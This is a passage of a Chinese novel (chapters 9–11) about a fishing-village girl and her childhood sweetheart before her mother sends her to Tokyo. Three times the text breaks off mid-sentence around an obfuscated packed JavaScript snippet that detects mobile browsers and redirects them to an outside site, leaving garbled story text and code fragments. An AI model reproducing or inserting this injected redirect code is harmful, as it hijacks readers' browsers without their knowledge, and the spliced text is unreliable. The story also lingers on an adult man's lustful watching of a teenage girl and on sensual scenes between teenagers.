潮子笑了,笑得很开心。 小林在旁边看着这两个人,看着他们之间的那种东西——不需要很多话,一个眼神就够了的默契。他想起自己刚才的想法,突然觉得有点残忍。 但他知道,他没有错。 --- 那天晚上,潮子回到阁楼,换了衣服,把那件深蓝色的连衣裙叠好,放回妈妈的柜子里。 她坐在床上,看着窗外。 月亮很大,照在海面上,亮闪闪的。 她想起今天下午,坐在礁石上,海风吹着脸,阳光照在身上。她闭着眼睛,什么都不想,就那么坐着。很舒服。 她还想起健一郎站在岸边的样子。他站在那里,看着她。那个眼神,她记得。 她把手放在心口,感觉心跳。 一下,一下。 9. 第 9 章 森本英世走了。他走的那天,潮子没有去送。她站在酒肆二楼的阁楼里,从小洞望着那条通往镇子的路,看着那个背着相机包的身影渐渐变小,最后消失在土坡的尽头。她没有觉得难过,只是心里有什么东西被带走了,空落落的,说不上来是什么。 但潮子不知道的是,他走了,却留下了别的东西。 渔村很小。小到谁家晚饭吃了什么,第二天全村都知道。一个东京来的摄影师,在海边给庆子家的女儿拍了一下午照片这种事,是藏不住的。 “听说了吗?庆子家那个丫头,勾搭上东京来的摄影师了。” 村口井台边,几个妇人一边打水一边咬耳朵。 “可不是,在海边待了一下午呢,就他们两个。” “啧啧,有其母必有其女。她妈那个样子,她能好到哪儿去?” “我看啊,过不了几天,她就跟她妈一样了。做些见不得人的勾当。” 一个妇人压低声音:“还有那个健一郎呢。渔夫家那个小子,整天跟她泡在一起,两人小小年纪,谁知道做过些什么。” “可不是。看着老实巴交的,背地里还不知道什么样呢。” 这些话像长了腿一样,从井台跑到村公所,从村公所跑到码头,从码头跑到酒肆。传到最后,已经不知道添了多少油,加了多少醋。 那天下午,健一郎正在码头帮父亲修网。几个和他年纪差不多的少年蹲在旁边的礁石上,其中一个叫阿部的,是村里出了名的碎嘴子。他歪着头看着健一郎,嘴角挂着那种让人不舒服的笑。 “喂,健一郎。” 健一郎没抬头。 “听说你那个小媳妇,跟东京来的男人跑了?” 健一郎的手停了一下,但他没说话,继续修网。 “啧啧,真可惜啊。”阿部摇头晃脑,“长得那么好看,我还想着——” 话没说完,健一郎站起来。他转过身,看着阿部。那眼神让阿部后面的话卡在嗓子眼里,吐不出来。 “你再说一遍。” 声音不大,但每个字都像石头砸在地上。阿部被那眼神吓了一跳,但他不想在同伙面前丢了面子,硬着头皮站起来:“我说你那个小媳妇——唔!” 健一郎的拳头已经砸在他脸上了。阿部往后倒,撞在礁石上,嘴角裂开,血一下子涌出来。旁边几个少年愣住了,然后有人喊:“健一郎打人了!”他们一拥而上。 健一郎没跑。他站在那里,拳头攥得咯咯响。第一个冲上来的人被他一拳打在肚子上,蜷着倒下去。第二个从侧面抱住他的胳膊,他甩开,手肘往后一顶,那人闷哼一声松了手。 但他们人多。有人从后面踹了他一脚,他踉跄了一下,膝盖磕在礁石上,疼得他龇牙。有人按住他的肩膀,他挣开,又有人扑上来。 最后他浑身是伤地坐在码头上,衣服撕破了,嘴角流着血,手背上青一块紫一块。阿部他们也没讨到好,一个个鼻青脸肿地跑了。 健一郎坐在那里,看着自己的手。他慢慢把手攥成拳头,指甲嵌进肉里。 这话也传到了酒肆老板的耳朵里。 老板叫田中信夫,五十出头,在这条街上开了十几年酒肆。他长得不高不矮,不胖不瘦,脸上总挂着笑,说话慢条斯理的,看起来和和气气。但村里人都知道,这人不好惹。他能在这条街上开这么多年酒肆,没点手段是撑不住的。 他看着潮子长大。 从那个瘦得像猫一样的小女孩,到现在这个出落得亭亭玉立的少女。他不知道从什么时候开始,看她的眼神变了。 以前是看一个孩子。现在不是了。 他注意她什么时候起床,什么时候出门,什么时候回来。他注意她穿什么衣服,头发扎起来还是散着。他注意她笑的时候鼻尖那颗痣会跟着动,有着别样的风情。 他甚至注意过健一郎牵着她手走过镇子的样子。那个黑黑的小子,拉着她的手,她低着头,两个人走得很快。他站在二楼窗户后面,看着那两个身影消失在街角,手指攥着窗框,指甲嵌进木头里。 他也看到了那个摄影师在海边给她拍照。他站在远处,看着那个女孩坐在礁石上,光着脚,闭着眼,海风吹着她的头发。那个摄影师围着她转,举着那个黑乎乎的机器,“咔嚓”“咔嚓”地响。 他心里有什么东西在烧。他觉得她不乖了。她不应该让别人拍她。她不应该穿那件裙子坐在礁石上。她不应该被别人看见。她应该——她应该是他的。 这个念头第一次冒出来的时候,他自己也吓了一跳。但他没有把它按下去。它就在那里,像一颗种子,生了根,发了芽,越长越大。 那天晚上,酒肆打烊以后,田中上楼去拿东西。酒肆二楼有几间房,一间是仓库,一间是他自己的卧室,还有一间是洗澡的——酒肆没有热水,女眷要洗澡得上二楼来。 他走上楼梯,拐过弯,就听见了水声。 哗啦,哗啦。水从盆里舀起来,浇在身上,又落回盆里。水声中间,还有少女轻轻的哼歌声,调子断断续续的,听不清是什么歌,但软软的,糯糯的,像什么东西挠在心口上。 他站在那间房门口。 门关着,但门板很薄,上面还有一道缝。他知道他不应该看。他的手抬起来,又放下。他站在那里,一动不动,像一截木头。 水声还在响。哗啦,哗啦。他听见水从她肩膀流下来的声音,听见她用手撩起头发的声音,听见她轻轻叹一口气的声音。他的脑子里全是画面——他没见过,但他能看见。那些画面像火一样烧着他,烧得他口干舌燥,烧得他攥紧拳头,指甲嵌进掌心。 他不知道站了多久。 “田中先生?” 一个声音从身后传来,像一把刀劈开黑暗。他猛地转过头。 庆子站在楼梯口,手里端着一盆脏衣服。她看着他的眼神,让他知道她什么都看见了——她看见他站在女儿浴室门口,看见他的脸,看见他的眼睛。 他的眼睛里有什么东西。那东西让庆子的心脏猛地缩紧了,像被一只手攥住,疼得她喘不上气。那是欲望。赤裸裸的、不加掩饰的欲望。那眼神直直地插进她的胸口,让她整个人僵在那里。 “我上来拿东西。”田中说了什么,声音哑得像砂纸磨过木头。 他没等她回答,从她身边走过去,下了楼。 庆子站在那里,手里的盆差点掉在地上。她听见自己心跳的声音,咚,咚,咚,像有人在砸门。她慢慢走到浴室门口,推开门。 潮子已经洗完了,正在穿衣服。她背对着门,头发湿漉漉地搭在肩上,水珠从发梢滴下来,落在锁骨上,顺着往下流。她的肩膀很瘦,蝴蝶骨的形状从皮肤下面透出来,像要破茧而出的翅膀。 “妈?”潮子听见动静,回过头来。 庆子看见她的脸。 水汽还没散,雾气蒙在她脸上,让她的五官显得格外柔和。眼睛被水汽润湿了,亮亮的,像雨后的海面。睫毛上还挂着水珠,一眨,水珠掉下来,顺着脸颊往下滚。鼻尖上那颗痣沾了水,在昏黄的灯光下像一颗小小的琥珀。她刚洗完澡,皮肤泛着淡淡的粉,像贝壳的内壁,润润的,光光的。 她很美。是那种安安静静的、从骨子里透出来的美。像海边的月亮,不高不低地挂在那里,你不抬头看也知道它在。 庆子看着她,眼泪突然就掉下来了。 “妈?你怎么了?”潮子走过来,伸手摸她的脸,“妈,你怎么哭了?” 庆子摇摇头,把她搂进怀里。潮子的头发湿湿的,蹭在她脸上,凉凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486544|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。她抱着她,抱得很紧,像小时候那样。她感觉到潮子的心跳,一下,一下,稳得很。 她想起潮子小时候,那么小,那么瘦,像一只猫。她打她,骂她,揪她的耳朵,扇她的耳光。她以为她不在乎。她以为她恨她。但现在她抱着她,才知道——她怕。她怕失去她。她怕那些男人用那种眼神看她。她怕自己保护不了她。 “妈,你到底怎么了?”潮子的声音从她肩膀上传过来,闷闷的。 “没事。”庆子松开她,擦了擦眼泪,“去睡吧。” 潮子看着她,想说什么,但没说出来。她点点头,走回阁楼。 庆子站在那里,听着她上楼的脚步声。脚步声很轻,一步一步,像踩在她心口上。她在心里数着那些脚步声,等门关上的声音传来,她才慢慢蹲下来,蹲在走廊里,抱着自己的膝盖。 她想起那个东京来的摄影师。想起他递过来的那张名片。她站起来,走进自己的房间,翻箱倒柜地找。衣服,旧衣服,更旧的衣服。压在箱子最底下,和那件深蓝色连衣裙放在一起的那张纸片。 她找到了。 “森本英世”“摄影师”“东京都”“电话:03-XXXX”。 她握着那张名片,手指在发抖。 她不知道东京是什么样子。她这辈子最远只去过镇里。她不知道“摄影师”是干什么的。她不知道这张名片能不能帮她。但她握着它,像握着救命稻草。 她抬起头,看着窗外。月亮挂在海面上,亮亮的,远远的。 她把名片攥在手心里,攥得很紧,很紧。 阁楼里,潮子已经睡着了。 月光从小洞里照进来,照在她脸上。她的睫毛在脸上投下淡淡的影子,鼻尖那颗痣安静地待在原地。她的呼吸很轻很匀,胸口微微起伏着,像海浪,一下,一下。 她不知道楼下那个男人站在她浴室门口,用那种眼神看着门板。她不知道妈妈找到了一张名片,攥在手心里,一整夜没有松开。她不知道村子里那些话,像潮水一样,正在漫过来,把她围住。 她只是睡着了。 安稳地,平静地,什么都不知道地睡着了。 海浪的声音从远处传来,一下,一下。 像这个世界的呼吸。 庆子站在窗边,看着女儿安详的睡颜。她的睫毛很长,像两把小扇子,在月光下投出淡淡的影子。鼻尖那颗痣安静地待在原地,像一颗小小的星。她的嘴唇微微张着,露出一点点牙齿,呼吸很轻很匀。 庆子想起她小时候也是这样睡的。那时候她很小,睡在这张床上,被子比人还大。庆子半夜爬起来看她,怕她踢被子,怕她着凉。那时候她就想,这孩子,长大了会是什么样呢?现在她知道了。 她长得比自己好看。比她见过的所有人都好看。她的好看不是那种让人不舒服的好看,是那种你看了还想看、越看越觉得好的好看。像海,你看第一眼觉得好看,看一百眼还是觉得好看。 但好看有什么好?好看是祸。 庆子把名片放在枕头底下,躺下来,搂着潮子。潮子在睡梦里动了动,往她怀里缩了缩,像小时候一样。 庆子的眼泪又掉下来了。她咬着嘴唇,不让自己发出声音。 她不能让她留在这里。这里会把她吃掉。那些男人的眼睛,那些女人的嘴,那个站在她浴室门口的田中——都会把她吃掉。 她得送她走。送到东京去。送到那个摄影师那里去。 她不知道东京是不是好地方。但再坏,也不会比这里坏了。 窗外,月亮慢慢移到海面正中间,把海水照得亮亮的。海浪一下一下地拍着沙滩,像这个渔村的呼吸,也像这个世界的叹息。 庆子闭上眼睛。手心里的名片,被她的体温捂热了。 10. 第 10 章 电话接通的那一刻,庆子的心提到了嗓子眼。 邮局的电话间很小,木板隔出来的,只能容一个人转身。她站在里面,握着那个黑色的话筒,手在抖。拨号盘上的数字她已经背了无数遍——那张名片被她从枕头底下拿出来又放进去,放进去又拿出来,边角都磨毛了。 “喂?” 是森本的声音。从听筒里传出来,遥远得像另一个世界。 “喂?”他又说了一遍。 庆子的嘴张了张,发不出声音。她握着话筒,指甲嵌进掌心里。 “哪位?” “我……”她的声音哑得像砂纸磨过木头,“我是潮子的妈妈。海边那个酒肆的。” 电话那头沉默了一会儿。 “潮子怎么了?” “没怎么。”庆子说。她顿了顿,咬了咬牙,“我想问问你,上次你说的话,还算不算数?” “什么话?” “你说她不该在那里。你说她应该去东京。” 电话那头又沉默了。庆子听见自己的心跳声,咚,咚,咚,像有人在砸门。她想起那天晚上田中的眼神,想起他站在浴室门口的样子,想起那个眼神像刀子一样插进她胸口的感觉。她的手指攥得更紧了。 “算数。”森本说。 庆子的眼泪掉下来了。她咬着嘴唇,不让哭声传过去。 “我送她去。”她说,声音在抖,“求你……帮帮她。” “好。”森本的声音很稳,“我来安排。让她来东京,我帮她找住的地方,帮她联系学校。” “谢谢……谢谢您。” “不用谢。”森本顿了顿,“潮子……她愿意来吗?” 庆子愣了一下。 “她会愿意的。”她说,声音低下去,“她必须愿意。” 挂掉电话,她在邮局门口站了很久。天已经黑了,街灯亮着,昏黄的光照在她脸上。她把那张名片攥在手心里,攥得紧紧的,像攥着一条命。 潮子回来的时候,天已经黑了。 她今天和健一郎在海边待了一下午。他什么话都没说,就坐在礁石上看着她。她问他怎么了,他说没什么。但她知道他有心事。从码头打架那天起,他就变得沉默了,比以前还沉默。她问他疼不疼,他摇摇头。她拉过他的手看,手背上的伤结了痂,黑红黑红的,像一道裂开的口子。 “以后别打架了。”她说。 他没回答。 “听见没有?” “嗯。” 她松开他的手,看着海。夕阳把海面染成金色,又染成红色,最后变成灰色。她坐在那里,靠着他,两个人谁也没说话。 回来的路上,她心里就不踏实。说不上来是什么,就是觉得有什么事要发生。 她推开酒肆的门。还没到营业时间,屋里空荡荡的,只有庆子坐在柜台后面。 “妈,我回来了。” 庆子抬起头,看着她。那眼神让潮子愣了一下——不是平时那种又冷又硬的眼神,一种悲伤笼罩在她身上,她第一次见到妈妈这样。 “过来。”庆子说。 潮子走过去。 “坐下。” 潮子在她对面坐下。 庆子看着她,细细地描摹女儿的容貌,她长得像那个抛弃自己的男人。她知道潮子越长大越漂亮,这种漂亮是从骨子里透出来的味道,生在这里就是罪孽。 被妈妈看了很久,好像要刻进心里,久到潮子有点不安。 “妈,怎么了?” “你去东京。” 潮子愣住了。 “什么?” “去东京。”庆子的声音很平,像在说今天晚饭吃什么,“我联系了那个摄影师。森本先生。他说会帮你安排。” 潮子坐在那里,看着母亲。她张了张嘴,想说什么,又不知道该说什么。 “为什么要我走?” 庆子没回答。 “妈,你说话啊。为什么要我走?” “你不想走?”庆子的声音突然尖起来,“你还想守着那个黑小子过一辈子吗?” 潮子的脸白了一下。 “去东京才能认识更多的人。”庆子的声音低下去,像是在说服自己,“有钱人,有本事的人。妈妈想让你出人头地,你知道吗?” 潮子没说话。 “森本先生说会帮你联系住处。”庆子站起来,走到柜子前面,从最底下翻出一个布包,打开,里面是一叠钱。皱巴巴的,厚厚一叠。她数了数,分成两份,一份塞回柜子底下,一份推过来。 “这是妈妈存的一点钱。你先拿着。” 潮子看着那叠钱。一元的,五元的,十元的。皱的,旧的,边角都磨毛了。她想起这些钱是怎么来的——是妈妈陪酒陪出来的,是被那些男人摸一下手、捏一下脸换来的,是深夜里数着一张一张存下来的。 “钱你留着。”潮子说,声音很轻。 庆子看着她。 “我不要走。” 庆子愣住了。她看着潮子,看着那双又亮又倔的眼睛。她看了几秒钟,然后扑上来。 “你想让我死吗?!” 她的拳头落在潮子肩上,背上。一下,两下,三下。不是打,是砸。砸得潮子往后退了一步。 “你想和我一起死在这吗!” 声音撕开了,像布帛被扯碎的声音。潮子从来没见过母亲这个样子。她见过她打人,见过她骂人,见过她喝完酒抱着自己哭。但她没见过她这样——眼睛红着,头发散着,声音尖得不像人声。 “让你去东京闯一闯——” 一巴掌落在潮子肩上。 “等你有出息了——” 又一巴掌。 “才能把我也带出去!” 潮子站在那里,没有躲。她看着母亲,看着她眼角的皱纹,看着她干裂的嘴唇,看着她散落的头发里那些白丝。她眼泪掉下来。 这个女人,这辈子受了多少委屈?被人骂,被人看不起,被那个姓田中的用那种眼神看。她活得像一条被浪打翻的船,在水里漂了半辈子,没沉下去,但也没上岸。 要不是因为拉扯她,她应该会过得比现在幸福。 潮子的鼻子酸了。 “你走——你走啊——!” 庆子的声音变成了哭喊。她还在打,但拳头越来越轻,越来越软,最后变成了推,变成了拍,变成了抓。 潮子一把抱住她的腰。 “我知道了。” 她的声音闷在母亲的衣襟里。 “我走。” 庆子停住了。她的手悬在半空,慢慢放下来,落在潮子的头发上。 “我走。”潮子又说了一遍,声音在抖,但她咬着牙不让自己哭出来,“我走。” 庆子站在那里,抱着她,眼泪一滴一滴地落下来,落在潮子的头发上,落在她的肩上,落在她的手背上。她张了张嘴,想说什么,但什么都没说出来。 潮子跪坐在地上,抱着母亲的腰,脸埋在她的衣服里。她闻到她身上的味道——酒味,烟味, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486545|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有一点点肥皂的香味。那是她从小就闻惯的味道。她以为她会闻一辈子。 “妈。” “嗯。” “等我出息了,我来接你。” 庆子的手在她头发上停了一下,然后继续摸着,一下,一下,像潮子小时候那样。 “好。”她说,声音哑得像砂纸。 窗外,天已经全黑了。海浪的声音从远处传来,一下,一下。 潮子跪在那里,抱着母亲,闭上眼睛。 她不知道东京在哪里。不知道那里有没有海,有没有海浪的声音。她只知道,她要走了。离开这片海,离开这间酒肆,离开这个把她养大的女人。 她不敢睁眼。怕一睁眼,眼泪就掉下来了。 庆子摸着她的头发,摸着她瘦瘦的肩胛骨,摸着她细细的手臂。她的手从潮子的头发上滑下来,落在她的背上,拍着,一下,一下。 “去收拾东西。”她说。 潮子慢慢松开手,站起来。她看了母亲一眼,然后转身,往楼梯那边走。 走到楼梯口,她停下来。 “妈。” “嗯。” “我走了,你怎么办?” 庆子没说话。 潮子回过头,看着她。 庆子站在柜台后面,昏黄的灯光照在她脸上。她的眼睛红红的,脸上还有泪痕,但她笑了一下。那种笑,潮子没见过——不是酒肆里的笑,是真的在笑。 “妈有手有脚,饿不死。” 潮子站在那里,看着她。 “去吧。”庆子挥挥手,“去收拾东西。” 潮子转过身,走上楼梯。她的脚踩在木板上,发出“吱呀吱呀”的声音。那声音她听了十几年,从五岁听到现在。今天听起来,格外响。 庆子站在那里,听着那脚步声一步一步往上走,一步一步远去。 窗外,月亮从云层后面探出来,照在海面上,亮晃晃的。她看着那片海,看了很久。 然后她转过身,开始擦杯子。 动作很慢,一下,一下。和平时一样。 阁楼里,潮子坐在床上,看着自己那点东西。 课本,作业本,一支快写完的铅笔。那件深蓝色的连衣裙,叠得整整齐齐,放在枕头旁边。还有几件换洗的衣服,都是旧的,洗得发白的。还有那个贝壳,白色的,有粉色纹路的,健一郎在礁石缝里找到的那个。 她拿起贝壳,放在手心里。 很小,很轻,有点凉。 她想起健一郎递给她的那天,他的手也是黑的,糙的,指甲缝里有泥。他把贝壳放在她手心里,说“这个好看,给你”。 她把贝壳攥在手心里,攥得很紧。 楼下传来母亲走路的声音,一下,一下,从柜台走到厨房,从厨房走到柜台。 潮子把贝壳放在枕头底下,躺下来。 她看着头顶那片黑漆漆的屋顶。那个小洞里,有月光透进来,照在墙上,白白的一小片。 她明天要告诉他。她要走了。 她不知道他听了会说什么。她不知道他会不会生气。她不知道他会不会等。 她把被子拉过来,蒙住头。 被子很旧,有霉味,但暖。她缩在里面,像小时候那样。 她想起五岁那年,妈妈揪着她的耳朵说“晒得像黑鬼一样将来谁要你”。她想起健一郎张开胳膊挡在她面前说“把小潮嫁给我吧”。她想起那盏灯笼,在草窝里晃着,亮着。 她把被子裹紧了一点。 11. 第 11 章 那天下午,潮子去找健一郎的时候,天阴着。 她站在他家门口,那个低矮的、被海风吹得发白的木房子。门开着,里面黑漆漆的,有一股咸鱼和旧木头混在一起的味道。健一郎的父亲不在,出海了。他一个人坐在门槛上,正在补一张破渔网。 “健一郎。” 他抬起头,看着她。那双眼睛还是那么亮,但里面有什么东西沉下去了,沉得很深。 “走。”她说。 他没问去哪儿。站起来,拍了拍裤子上的灰,跟着她走。 他们沿着那条走了无数遍的小路,走过村公所,走过那棵歪脖子老树,走过那片稻田。稻子已经收割了,只剩下一茬一茬的茬子,干巴巴地戳在地里。天阴着,云压得很低,海风把她的头发吹起来,又落下去。 他们走到铁轨边上。 那条铁轨,从镇子那头伸过来,穿过田野,穿过山脚,一直伸到很远很远的地方。他们小时候常来这儿。等着火车从远处开过来,越来越近,越来越响,脚下的石子开始震动。然后在火车冲过来的那一刻,从铁轨上跳出来。 那时候他们不怕。什么都不怕。 潮子踩上铁轨,张开胳膊,像走平衡木一样往前走。铁轨很窄,她的脚步不太稳,晃了一下,又站稳了。 健一郎跟在她后面,没踩铁轨,就走在石子路上,看着她。 “你还记不记得,”潮子头也不回,“小时候我们在这儿等火车,你拉着我的手。” “记得。” “你那时候说,‘别怕’。” “嗯。” “其实我一点都不怕。”潮子回过头,笑了一下,“我就是想让你拉着我。” 健一郎没说话。 远处传来火车的汽笛声。呜呜的,闷闷的,被风送过来。 潮子从铁轨上跳下来,站在他旁边。两个人都看着远处——铁轨尽头,一个绿色的小点正在变大。 火车来了。 那是一种老式的柴油机车,绿色的车身,窗户开着一半,有人在里面抽烟,有人在看报纸。它越来越近,越来越响,脚下的石子开始跳。 潮子站在铁轨上,没动。 “潮子!”健一郎喊了一声。 她还是没动。 火车越来越近,风已经开始扑过来了。她的头发被吹起来,那件旧校服的裙摆也被吹起来,猎猎地响。 “潮子——!” 她在火车冲过来的最后一刹那,从铁轨上跳出来。 火车从他们身边冲过去,轰隆隆的,带起一阵狂风。风吹着她的头发,吹着她的裙子,吹着她整个人往后仰了一下。她站在那里,看着火车远去的背影,看着那个绿色的小点越来越小,最后消失在天边。 然后她笑了。 是那种很真的笑,不是抿着嘴的,是露出白牙的、眼睛弯成月牙的、整个人都在发光的笑。她笑起来的时候,鼻尖那颗痣跟着动,像一颗会跳舞的小黑豆。 健一郎看着她,心里有什么东西被揪了一下。 他喜欢她这样笑。不是那种忍着的、收着的、怕被人看见的笑,是肆意的、张扬的、什么都不管的笑。像海,平时安安静静的,但浪打上来的时候,能把一切都卷走。 她转过头看着他,还在笑。 “走!”她拉起他的手,往前跑。 他们跑过铁轨,跑过那片收割完的稻田,跑过那排光秃秃的树。天更阴了,风更大了,有雨点落下来,一滴,两滴,砸在脸上凉凉的。 “要下雨了!”健一郎喊。 “前面有个屋子!” 他们跑进那个废弃的小屋。是以前农民放农具用的,木头搭的,屋顶缺了几块瓦,墙缝里透着光。地上堆着一垛干草,是去年剩下的,已经发黄了,但还是干的。 他们刚跑进去,雨就下来了。 哗啦啦的,像有人在天上泼水。雨点打在屋顶上,打在瓦片上,打在墙外的草叶上,响成一片。 潮子站在门口,看着外面的雨。她的头发湿了,一缕一缕地贴在脸上。校服也湿了,肩头那一块颜色深下去,贴在皮肤上。她回过头,看着健一郎。 他站在她身后,也在看她。 她伸出手,圈住他的脖子。 她的手臂很细,圈在他晒得黑黑的脖子上,像两根藤缠在树干上。她的脸离他很近,他能看见她睫毛上的水珠,能看见她鼻尖那颗痣上沾的一小片草叶,能看见她嘴唇上细细的纹路。 她吻了他。 轻轻的,软软的,像小时候海浪舔上沙滩的感觉。她的嘴唇有点凉,带着雨水和海水混在一起的味道。 健一郎的手抬起来,放在她腰上。他把她往自己这边带了带,然后加深了这个吻。不是刚才那种轻轻的了,是带着这些天所有东西的——那些闲话,那场架,那个码头上的黄昏。他把那些东西都压进这个吻里,压得她往后退了一步,背靠在门框上。 雨还在下。哗啦啦的,把他们说话的声音都盖住了。 潮子松开他,抬起头。她的眼睛很亮,雨水从她额头上流下来,顺着脸颊往下滚,分不清是雨还是别的什么。 “健一郎。” “嗯。” “我要走了。” 他的身体僵住了。 “去哪儿?”声音突然变了,像一根绷紧的弦。 “东京。” 健一郎站在那里,看着她。 “我妈联系了森本先生。”潮子的声音很轻,“他帮我安排了住的地方,还有上学的地方。我妈说……让我去东京闯一闯。” 健一郎没说话。 雨还在下。打在屋顶上,打在瓦片上,打在墙上。他站在那里,像一棵被雷劈过的树,僵着,硬着,一动不动。 她终究还是要走。 他早就知道。从那个东京来的摄影师给她拍照那天起,他就知道。她不属于这里。她不属于这片海,这间酒肆,这条铁轨。她应该去更大的地方,被更多的人看见。他留不住她。从来都留不住。 “健一郎?” 他回过神来。她正看着他,那双大眼睛里有不安,有愧疚,有怕他生气的担心。 他笑了一下。笑得很勉强,嘴角扯了一下就收回去了。 “你要照顾好自己。”他说。 潮子愣了一下。 “东京那么远,没人照顾你。”他的声音很低,像在跟自己说话,“你这个人,受伤了也不说,疼了也不哭。到了那边,谁帮你擦药?” 潮子的鼻子酸了。 “如果——” 他顿了顿。 “如果哪一天,你在东京遇到困难了,就回来。” 他看着她的眼睛。 潮子站在那里,看着这个男孩。她想起五岁那年,他张开胳膊挡在她面前,说“把小潮嫁给我吧”。她想起她被人欺负的时候,他攥着拳头去找那些人算账。她想起她被打的那个晚上,他提着灯笼等在草窝里。她想起他说“我信你”,说“你没拿”,说“我知道”。 这些年,一直都是他。被欺负的时候,是他挡在前面。受伤的时候,是他擦药。难过的时候,是他陪着。他从来没说过什么好听的话,没做过什么漂亮的事。他就是站在那里,像一块礁石,浪打过来,他不躲,也不退。 她怎能不喜欢他呢? 她伸出手,捧起他的脸。他的脸很硬,颧骨高,下巴方,被海风吹得黑黑的,糙糙的。她的手指摸过他的眉毛,摸过他的眼睛,摸过他的鼻子,摸过他的嘴唇。 然后她踮起脚,吻他。 不是刚才那种轻轻的吻了。是疯狂的,是急切的,是把这些年的东西全都倒出来的。她吻着他的嘴唇,他的下巴,他的脸颊,他额头上那道疤。她吻得不管不顾。 她推着他往后退。他退了一步,又退了一步,小腿碰到那垛干草,两个人一起跌进草垛里。 干草被压下去,发出窸窸窣窣的声音。她的头发散在草上,黑的,黄的,混在一起。她的眼睛闭着,睫毛在抖,嘴唇微微张着,喘着气。 健一郎撑起手臂,低头看着她。 她的脸很红,不是害羞的红,是那种被雨水打过的、被风吹过的、活生生的红。雨水从她额头上流下来,顺着太阳穴流进头发里。她的睫毛上还挂着水珠,一颤一颤的。鼻尖那颗痣沾了草屑,她也不管。她的嘴唇因为刚才的吻有点肿,微微张着,露出一点点牙齿。 她整个人躺在那里,像一朵被雨打过的花,花瓣湿了,叶子歪了,但还是那么好看。不是画里那种规规矩矩的好看,是活的、野的、不讲道理的好看。 健一郎看着她,胸口剧烈地起伏着。 他的手撑在她头两边,手指攥着干草,攥得指节发白。他低下头,额头抵在她额头上。她的额头滚烫,他的也是。 “潮子。”他的声音哑得不像自己的。 她睁开眼睛,看着他。 “不可以。” 她的眼睛动了一下。 “现在不可以。” 他的声音在抖,但他一个字一个字说得很清楚。他把撑在她旁边的手收回来,翻了个身,躺在她旁边。 干草被压出一个人形的坑。他躺在那里,大口大口地喘气,眼睛盯着头顶那片破破烂烂的屋顶。雨从瓦片的缺口里飘进来,落在他的脸上,凉凉的。 他伸出手,把她脸上那缕湿漉漉的头发拨开。她的脸露出来了——小小的,鼻尖那颗痣像一粒小小的种子。他用手指把那片草屑轻轻捻掉。 “你要去东京。”他说,声音慢慢平下来,“实现你的梦想。那就去吧。” 潮子侧过头,看着他。 他把她的样子刻进眼睛里。 那双眼睛,又亮又倔的。睫毛很长,湿了之后粘在一起,一绺一绺的。鼻尖那颗痣,长在左边,离鼻孔很近,笑起来的时候会跟着动。嘴唇上面有一颗很小的痣,不仔细看根本看不出来。她的眉毛不是那种细细弯弯的,是有点浓的,有点野的,像海边的草,怎么长都长不规矩。 她的脸,他看了十几年。闭着眼睛都能画出来。但他还是想再看一眼,再多看一眼。 “潮子。” “嗯。” “到了东京,好好读书。” “嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486546|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别跟人打架。” 她笑了一下。 “有人欺负你,别忍着。” 她没说话。 “还有——” 他顿了顿。 “别忘了我。” 潮子侧过身,把脸埋在他肩膀上。她的眼泪终于掉下来了,一滴,两滴,热热的,落在他脖子上,顺着往下流。她没有出声,只是埋在那里,抖着,像那艘小木船在海浪里晃。 健一郎伸出手,搂住她。他的手臂很沉,很重,像铁一样箍在她身上。他把她往自己这边带了带,下巴搁在她头顶上。 雨还在下。打在屋顶上,打在墙上,打在窗外的草叶上。哗啦啦的,把他们两个人的呼吸都盖住了。 过了很久,潮子的声音从他肩膀上传过来,闷闷的。 “健一郎。” “嗯。” “你会等我吗?” 他没回答。 他把她搂得更紧了。紧得她有点喘不过气。 “健一郎?” “嗯。” “你说话呀。” 他沉默了一会儿。 “潮子。” “嗯。” “你记不记得,小时候我奶奶说,我命硬。” “记得。” “命硬的人,要护着命软的人。” 她把脸从他肩膀上抬起来,看着他。 他也在看她。 “你命不硬。”他说,“但我护着你。” 她想,她已经知道了答案。 雨小了一点。从哗啦啦变成了淅沥沥,从淅沥沥变成了滴滴答答。天边有一块云散了,露出一小片蓝色的天。 他们躺在那垛干草上,肩挨着肩,谁也没说话。她的手在他手心里,他的手攥着她的手,攥得很紧。 外面的铁轨上,又一列火车开过去了。轰隆隆的,越来越远,最后听不见了。 潮子闭上眼睛。 她听见海浪的声音,从很远的地方传来,一下,一下。 健一郎也听见了。 他没说话,只是看着屋顶那片破破烂烂的瓦片,看着雨水从缺口里一滴滴地落下来。 他把她往自己这边拉了拉,让她的头靠在他肩膀上。 她没动。他也没动。 他们就那么躺着,听着雨声,听着风声,听着远处那片海。 过了很久,雨停了。 